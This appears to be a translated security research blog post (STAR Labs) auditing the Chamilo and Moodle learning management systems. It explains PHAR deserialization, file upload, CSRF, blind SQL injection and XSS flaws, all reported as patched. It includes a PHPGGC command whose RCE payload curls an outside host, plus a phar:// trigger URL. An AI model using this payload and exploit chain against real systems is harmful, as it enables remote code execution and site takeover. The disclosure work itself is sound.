开源LMS代码库深度漏洞挖掘与技术分析

本文详细分析了Chamilo和Moodle两大开源学习管理系统的安全漏洞,包括不安全的反序列化、文件上传漏洞、CSRF攻击链、SQL注入和XSS漏洞,展示了如何通过漏洞组合实现远程代码执行和系统接管。

开源LMS代码库深度潜水 | STAR Labs

目录

引言

为了练习源代码审计,我深入研究了开源LMS(学习管理系统)代码库的结构,以寻找未发现的漏洞。最初主要关注Chamilo LMS(源代码可在GitHub获取),随后研究了Moodle LMS(源代码同样可在GitHub获取)。

发现的多数漏洞属于常见的Web应用漏洞类型:

  • 访问控制缺陷
  • CSRF(跨站请求伪造)
  • 不安全的反序列化
  • SQL注入
  • XSS(跨站脚本攻击)

这些漏洞的最大影响包括:

  • [Chamilo]:通过漏洞链实现远程代码执行
  • [Moodle]:导致站点/平台被接管

本文讨论的所有漏洞均已由相应厂商(Chamilo和Moodle)修复。

研究方法

在深入代码之前,我在本地为每个LMS设置了Docker实例进行调试。面对大型代码库,检查每个文件不切实际,因此需要仔细过滤非关键代码,专注于潜在漏洞代码。

在每个LMS中,至少采用两种扫描方法:

  • Source to Sink:跟踪用户可控输入(源)是否传递到敏感的PHP函数(如exec()、system())
  • Sink to Source:从敏感PHP函数反向查找用户可控输入

Chamilo代码分析

由于代码库使用PHP编写且自定义包装函数较少,可使用以下正则表达式搜索HTTP请求参数的使用:

1
\$.+=.+\$_(GET|POST|REQUEST)

Moodle代码分析

虽然同样使用PHP,但Moodle抽象了许多默认PHP功能并实现了自定义包装器。例如读取HTTP参数时,会调用自定义函数optional_param()required_param(),这些函数内部使用$_GET[]$_POST[]获取参数值。

关键发现:PARAM_RAW类型不对输入进行任何清理。使用以下正则搜索直接赋值的变量:

1
\$.+=.+_param\(.+PARAM_RAW\)

发现的漏洞

通过筛选文件,在两个平台发现了多个漏洞。以下是部分重要发现:

Chamilo - 不安全的反序列化与文件上传导致远程代码执行

这是一个结合两种漏洞实现RCE的典型案例。

不安全的文件上传

Chamilo允许学生和教师向课程上传文件,但应用黑名单阻止特定扩展名(如.php)。漏洞在于应用仅检查文件扩展名而不验证文件内容,使得用户可上传任意非黑名单扩展名文件。

教师可上传文件到课程的Documents区域,文件路径可预测:

1
/path/to/chamilo/app/courses/<COURSE_CODE>/document/<FILENAME>

使用PHPGGC生成包含RCE payload的PHAR档案(伪装为JPG文件):

1
phpggc -p phar Monolog/RCE1 system "curl http://172.22.0.1:16666/curl" -o rce.jpg

不安全的反序列化

端点/main/document/save_pixlr.php存在漏洞:

1
2
$urlcontents = Security::remove_XSS($_GET['image']);
$contents = file_get_contents($urlcontents);

用户可控输入直接传递给file_get_contents(),允许使用phar://协议触发反序列化。

漏洞链利用

  1. 上传PHAR payload到服务器
  2. 访问/main/document/create_paint.php设置会话变量
  3. 通过以下URL触发反序列化:
1
http://CHAMILO_WEBSITE/main/document/save_pixlr.php?title=a&type=b&image=phar:///path/to/rce.jpg

Chamilo - CSRF导致远程代码执行

安全管理页面缺乏CSRF保护,允许攻击者通过CSRF payload修改安全设置(如黑名单/白名单),从而上传危险文件。

PoC示例:通过CSRF添加.txt到黑名单,并将黑名单扩展名替换为/../.htaccess,最终实现.htaccess文件上传。

Chamilo - 认证盲SQL注入

通过Source to Sink方法发现4处认证盲SQL注入。示例漏洞位于/main/blog/blog.php

1
2
$sql = "SELECT COUNT(*) as number FROM ".$tbl_blogs_tasks_rel_user."
        WHERE c_id = $course_id AND blog_id = ".$blog_id." AND ...";

通过布尔盲注可逐步提取数据库信息。

Chamilo - 反射型XSS

remove_XSS()函数仅移除<>字符,但未正确处理引号,导致XSS可能。多个端点受影响,如/index.php/main/session/add_users_to_session.php等。

Moodle - 反射型XSS (CVE-2021-43558)

端点/admin/tool/filetypes/revert.php未正确清理extension参数:

1
2
$extension = required_param('extension', PARAM_RAW);
$message = get_string('revert_confirmation', 'tool_filetypes', $extension);

输入直接嵌入HTML响应,导致XSS。通过恶意payload可接管管理员账户。

结论

深入研究大型代码库寻找漏洞是一次有趣的旅程。即使代码库成熟,缺乏严格且强制执行的编码标准仍可能导致漏洞。从开发者角度看,在大型代码库中确保每个功能无漏洞同时不断添加新功能并非易事,因此从基础构建安全应用至关重要。

时间线

  • Chamilo

    • 2021年7月26日:向Chamilo团队报告发现
    • 2021年8月5日:补丁推送至GitHub
    • 2021年8月11日:报告额外发现
    • 2021年8月19日:补丁推送至GitHub
  • Moodle

    • 2021年9月7日:向Moodle报告发现
    • 2021年11月6日:补丁推送至GitHub
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计